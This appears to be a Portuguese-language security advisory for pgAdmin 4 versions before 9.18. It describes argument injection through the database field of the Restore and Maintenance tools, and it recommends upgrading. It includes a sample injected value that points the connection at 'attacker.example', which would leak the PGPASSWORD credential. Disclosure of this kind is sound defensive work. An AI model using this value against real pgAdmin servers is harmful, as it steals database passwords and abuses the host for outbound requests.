PT-2026-94389 · Pgadmin · Pgadmin
CVSS v4.0
7.1
Alta
| Vetor | AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N |
Nome do Software Vulnerável e Versões Afetadas
pgAdmin 4 versões anteriores a 9.18
Descrição
As ferramentas de Restauração e Manutenção passam o campo
database fornecido pelo cliente diretamente como o valor da opção --dbname para o pg restore e psql. Como o libpq expande nomes de bancos de dados que contenham um sinal de igual em strings de conexão completas, as palavras-chave de conexão nesse valor têm precedência sobre os argumentos --host e --port. Um invasor pode fornecer um valor como host=attacker.example port=5432 dbname=x para redirecionar o utilitário para um servidor de sua escolha. Como o pgAdmin exporta a senha do banco de dados descriptografada na variável de ambiente PGPASSWORD, a conexão redirecionada pode expor essa credencial ao invasor. Além disso, isso permite conexões de saída do host pgAdmin para endereços de rede arbitrários. Este problema é acessível por qualquer usuário autenticado com as permissões tools restore ou tools maintenance, que são concedidas à função de Usuário padrão.Recomendações
Atualize para a versão 9.18 ou posterior.
Exploit
Correção
Argument Injection
Insufficiently Protected Credentials
SSRF
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Identificadores relacionados
Produtos afetados
Pgadmin